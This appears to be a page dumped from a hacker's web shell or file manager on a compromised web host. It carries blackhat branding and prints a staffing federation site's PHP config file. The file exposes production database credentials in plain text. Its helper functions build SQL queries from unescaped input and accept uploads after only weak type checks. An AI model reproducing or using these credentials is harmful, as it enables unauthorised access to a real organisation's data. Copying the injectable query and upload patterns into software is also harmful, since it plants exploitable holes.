-
✘✘✘ WIBUHAX0R1337 ✘✘✘
-
✘
PATCH :
/
home
/
indianstaffing
/
.trash
/
configFQK
/
Upload File:
files >> /home/indianstaffing/.trash/configFQK/indianstaffing-OpenCart-public_html.txt
<?php if($_SERVER['HTTP_HOST']=='localhost'){ $hostname = 'localhost'; $username = 'root'; $password = ''; $db = 'isf'; $con = mysqli_connect($hostname,$username,$password,$db) or die(); $weburl = 'http://localhost/isf/'; $defaultpagename = "ISF Admin Dashboard"; }else{ $hostname = 'localhost'; $username = 'indianstaffing_user'; $password = 'cKgPso9H=ZAu'; $db = 'indianstaffing_database'; $con = mysqli_connect('localhost','indianstaffing_user','cKgPso9H=ZAu','indianstaffing_database') or die(); $weburl = 'https://indianstaffingfederation.org/'; } // get reporting manager name by id, id shoud be in array function GetEmpById($table,$id){ global $con; if(!empty($table) && !empty($id)){ $ids = implode(",",$id); $query = "SELECT * from $table where emp_id IN($ids)"; $arr = array(); $sql = mysqli_query($con,$query); while($result=mysqli_fetch_assoc($sql)){ $name = $result['emp_first_name'].' '.$result['emp_last_name']; // print_r($name); array_push($arr,$name); } return $arr; } } function CheckEmailRecord($table,$email){ global $con; $sql="select * from ".$table." where email='".$email."'"; $result=$con->query($sql); if($result->num_rows>0){ return true; }else{ return false; } } function GetEmpData(){ global $con; $docs_query = " SELECT A.doc_id, A.doc_emp_id, A.doc_type, A.doc_title, A.doc_reference, A.doc_status, A.doc_visible, A.doc_updated, B.emp_first_name, B.emp_last_name, B.emp_company, C.desi_title, D.dept_name FROM `tbl_emp_docs` A INNER JOIN tbl_employee B ON A.doc_emp_id=B.emp_id INNER JOIN tbl_designations C ON B.emp_designation = C.desi_id INNER JOIN tbl_departments D ON B.emp_department=D.dept_id "; $docs = mysqli_query($con, $docs_query); $doc = mysqli_fetch_assoc($docs); return $doc; } // fetch all data without any condition function GetAllData($table){ global $con; $sql="select * from ".$table." order by id desc"; $result=$con->query($sql); if($result->num_rows>0){ return $result->fetch_all(MYSQLI_ASSOC); } } // get designation by desi_id function GetDesiData($table,$id){ global $con; $sql="select * from ".$table." where desi_id=".$id; $result=$con->query($sql); if($result->num_rows>0){ return $result->fetch_object(); } } // get data by id function GetDataByID($table,$id){ global $con; $sql="select * from ".$table." where id=".$id; $result=$con->query($sql); if($result->num_rows>0){ return $result->fetch_object(); } } // insert data function InsertData($table,$data=array()){ global $con; foreach($data as $value){ $col=array_keys($data); $val=array_values($data); $sql="INSERT INTO $table (" . implode(', ', $col) . ") ". "VALUES ('" . implode("', '", $val) . "')"; // print_r($sql);die; $insert=$con->query($sql); if($insert){ return $con->insert_id; }else{ return false; } } } function UpdateData($table,$data,$id){ global $con; $cols = array(); foreach($data as $key=>$val) { $cols[] = "$key = '$val'"; } $sql = "UPDATE $table SET " . implode(', ', $cols) . " WHERE id=".$id; $update=$con->query($sql); if($update){ return true; }else{ return false; } } function ImageUpload($name,$type,$dest){ if(empty($name) || empty($type)){ $error['name_validation']='Image name or file type is blank'; return $error; }else{ $allowed=$type; $filename=uniqid()."-".time(); // 5dab1961e93a7-1571494241 $extension=pathinfo($_FILES[$name]["name"],PATHINFO_EXTENSION); // jpg if (!in_array($extension, $allowed)) { $data['image_type_error']='You have uploaded invalid image type'; return $data; }else{ $basename = $filename . "." . $extension; // 5dab1961e93a7_1571494241.jpg $source= $_FILES[$name]["tmp_name"]; $destination=$dest.$basename; /* move the file */ if(move_uploaded_file($source,$destination)){ return $basename; }else{ return false; } } } } // upload multiple image function UploadMultipleImage($image = array(),$file_path){ // if(count($image['name'])>20){ // return "<script>alert('Maximum Limit exceeded...Only 20 uploads are supported at a time');</script>"; // } $image_return_value = array(); if(!empty($image) && !empty($file_path)) { for($i=0;$i<Count($image['name']);$i++) { $filename=uniqid()."-".time(); $image_name=$filename.$image['name'][$i]; if(empty($image['name'][$i])){ array_push($image_return_value,''); }else{ array_push($image_return_value,$image_name); } $image_type=$image['type'][$i]; $image_tmp=$image['tmp_name'][$i]; $image_type_support = array('image/jpg', 'image/jpeg', 'image/png', 'image/webp', 'image/svg'); if(in_array($image_type,$image_type_support)) { $destination = $file_path.'/' . $image_name; move_uploaded_file($image_tmp, $destination); // array_push($image_return_value,$image_name); } } return $image_return_value; } } function DeleteData($table,$id){ global $con; $sql="delete from ".$table." where id=".$id; $result=$con->query($sql); if($result){ return true; }else{ return false; } } function StatusActionData($table,$id){ global $con; $sql="select * from ".$table." where id=".$id; $result=$con->query($sql); $output=''; if($result->num_rows>0){ $data=$result->fetch_object(); if ($data->status==1) { $data=array( 'status'=>0 ); $update=UpdateData($table,$data,$id); $output=1; return $output; }else{ if ($data->status==0) { $data=array( 'status'=>1 ); $update=UpdateData($table,$data,$id); $output=1; return $output; } } } } ?>
2022 - 2023 Copyright By Lutfifakee || Padang Blackhat ♥